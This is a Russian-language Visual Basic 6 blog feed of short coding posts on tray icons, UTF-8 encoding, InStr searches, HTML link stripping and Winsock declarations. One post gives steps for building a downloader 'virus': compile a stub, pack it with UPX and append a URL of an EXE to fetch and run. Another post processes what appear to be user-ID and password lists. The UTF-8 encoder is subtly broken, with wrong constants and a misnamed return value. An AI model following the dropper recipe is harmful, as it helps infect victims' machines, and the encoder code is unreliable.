Posted: 06.07.2010 at 21:26 | Tags: Visual Basic
На этот раз я порадую пользователей исходниками для использования трея.
Исходники содержат три примера.
1. Простая реализация в виде модуля, умеет работать с балонам. Примера использования нету, модуль вытянут из брута от karas’я
2. Более сложная реализация, но с чуть меньшим размером. Реализация представлена ввиде класса, но заморочек чуть большь. Тем не менее реализовать меню из трея намного легче чем с модулем, но нету использования балонов. Пример использования есть!
3. Сложная реализация представлена ввиде формы которую используют как компонент. Достаточно функциональная реализация, но с ней более сложно работать… Есть так же полный пример использования.
Скачать исходники
Posted: 15.05.2010 at 00:32 | Tags: Visual Basic
Пригодиться…
кодируем текст в UTF-8 кодировку:
Public Function EncodeUTF8(ByVal sStr As String)
For l& = 1 To Len(sStr)
lChar& = AscW(Mid(sStr, l&, 1))
If lChar& < 128 Then
sUtf8$ = sUtf8$ + Mid(sStr, l&, 1)
ElseIf ((lChar& > 127) And (lChar& < 2048)) Then
sUtf8$ = sUtf8$ + Chr(((lChar& \ 64) Or 192))
sUtf8$ = sUtf8$ + Chr(((lChar& And 63) Or 128))
Else
sUtf8$ = sUtf8$ + Chr(((lChar& \ 144) Or 234))
sUtf8$ = sUtf8$ + Chr((((lChar& \ 64) And 63) Or 128))
sUtf8$ = sUtf8$ + Chr(((lChar& And 63) Or 128))
End If
Next l&
UTF8_Encode = sUtf8$
End Function
Posted: 13.05.2010 at 01:42 | Tags: Visual Basic
Представлю вашему вниманию портативный компилятор Visual Basic 6 с надстройкой над ним.
Из под IDE можно как запустить проект не прибегая к компиляции так и скомпилировать проект. На заметку: файл проект как правило имеет расширение *.vbp
Скачать (~5.5 Mb)
Posted: 07.03.2010 at 23:11 | Tags: Visual Basic, Уроки по VB6
вот написал исходники для стаба довнлоадера схожего с Tiny Downloade. Размер бинарника конечно же больше но если убрать иконку и сжать UPX’ом то будет приблизительно таково же размер.
Пояснения к действию:
- скомпилировать
- если нужно сжать UPX’ом
- открыть HEX редактором
- дописать в конец сначала разделитель «`,./» (без ковычек)
- после же дописать прямую ссылку файла *.EXE который нужно будет скачать и запустить
- Вирус готов
Сам код: Скачать
Posted: 25.01.2010 at 19:32 | Tags: Visual Basic
Многие наверно интересуются как в Visual Basic 6 добавить иконку в трей. конечно можно искать и найти много библиотек или *.OCX но это не выгодно. И вот я тоже искал подобное искал долго и не очень нужно… и на конец то я нашёл класс для для того, что бы добавить эту уконку…
Скачать исходник
Posted: 09.01.2010 at 05:26 | Tags: Visual Basic
Задача:
Нужна программка, которая будет делать первую букву слова (пароля) заглавной. Такие, конечно, есть – но нужно чтоб она делала заглавной в сорсе, то есть в файле
12345;qqqqqq -> 12345;Qqqqqq
23456;aaaaaa -> 23456;Aaaaaa
34567;zzzzzzz -> 34567;Zzzzzz
создаём модуль и пишем туда следующий код:
Public Function uin(Data As String) As String
Dim R As Integer
R = InStr(1, Data, «;»)
uin = Mid$(Data, 1, R – 1)
End Function
Public Function pass(Data As String) As String
Dim R As Integer
R = InStr(1, Data, «;»)
pass = Mid$(Data, R + 1, Len(Data) – R)
End Function
помещаем на форму кнопку и текстбокс, текст боксу предаём значение multilaine = true и ставим скрол бар.
в форму пишем следующий код:
Private Sub Command1_Click()
Dim Str As String
Open App.Path & «\source.txt» For Input As #1 ‘ îòêðûâàåì ôàéë íà ÷òåíèå
Do While Not EOF(1)
Line Input #1, Str ‘ ñ÷èòûâàåì ñòðîêó
Text1 = Text1 & uin(Str) & «;» & UCase(Mid$(pass(Str), 1, 1)) & Mid$(pass(Str), 2) & vbCrLf
Loop
Close #1 ‘ çàêðûâàåì
End Sub
Скачать *.EXE
Posted: 07.01.2010 at 03:30 | Tags: Visual Basic
Собственно как реализовать поиск в текстбоксе определённого слова, и привер постановки условия
if «слово найден» then
…
else
…
end if
Для этого можно использовать функцию InStr()
Кстати, InStr возвращает позицию в тексте, но если что-то нашлось, соответственно в условии это будет интерпретироваться как истина. Если же не нашлось, то возвращается 0 (что в условии интерпретируется как ложь).
вот пример использования:
If Instr(TextBox.Text, "что ищем") then
'Нашли что искали
Else
'не нашли
End If
Posted: at 03:19 | Tags: Visual Basic
имееться html документ, там много всего понаписанно самое главное то что там есть ссылки которые не нужны но информация между тегами <a></a> очень важна. Вопрос как удалить всет теги <a> с их параметрами
пример ссылки:
<a href="..." onClick="return
dropdownmenu(this, event, mChat_UserMenu
('...', '60', 4, '2388', '...', 'Сообщение'), '170px')"
onMouseout="delayhidemenu()">...</a>
Следующая функция вам в этом поможет:
Function Delete(Text As String) As String
Dim F As String
Dim T As String
For i = 1 To Len(Text)
F = Mid(Text, i, 6)
If UCase(F) = UCase("href=" & """") Then
For i2 = i + 7 To Len(Text)
F = Mid(Text, i2, 1)
If F = """" Then i = i2: F = "": Exit For
Next
End If
T = T & Left(F, 1)
Next
Delete = T
End Function
Posted: at 03:12 | Tags: Visual Basic
Следующий код поможет вам подсчитать вам в переменной или текст боксе кол-во слов
Dim kol as long, re as long
const text=»some text»
const slovo=»text»
re=InStr(1, text, slovo)
do while re
kol = kol + 1
re=InStr(re+1, text, slovo)
loop
MsgBox » Слов в предложении » & kol
Posted: at 02:59 | Tags: Visual Basic
создаём новый проект, добавляем в него новый модуль и пишем туда следующий код
'Добавьте модуль в проект. Вставьте следующий код в модуль
Public Const MAX_WSADescription = 256
Public Const MAX_WSASYSStatus = 128
Public Const ERROR_SUCCESS As Long = 0
Public Const WS_VERSION_REQD As Long = &H101
Public Const WS_VERSION_MAJOR As Long = WS_VERSION_REQD \ &H100 And &HFF&
Public Const WS_VERSION_MINOR As Long = WS_VERSION_REQD And &HFF&
Public Const MIN_SOCKETS_REQD As Long = 1
Public Const SOCKET_ERROR As Long = -1
Public Type HOSTENT
hName As Long
hAliases As Long
hAddrType As Integer
hLen As Integer
hAddrList As Long
End Type
Public Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To MAX_WSADescription) As Byte
szSystemStatus(0 To MAX_WSASYSStatus) As Byte
wMaxSockets As Integer
wMaxUDPDG As Integer
dwVendorInfo As Long
End Type
Public Declare Function WSAGetLastError Lib "WSOCK32.DLL" () As Long
Public Declare Function WSAStartup Lib "WSOCK32.DLL" (ByVal wVersionRequired As Long, lpWSADATA As WSADATA) As Long
Public Declare Function WSACleanup Lib "WSOCK32.DLL" () As Long
Public Declare Function gethostname Lib "WSOCK32.DLL" (ByVal szHost As String, ByVal dwHostLen As Long) As Long
Public Declare Function gethostbyname Lib "WSOCK32.DLL" (ByVal szHost As String) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)
Continue Reading
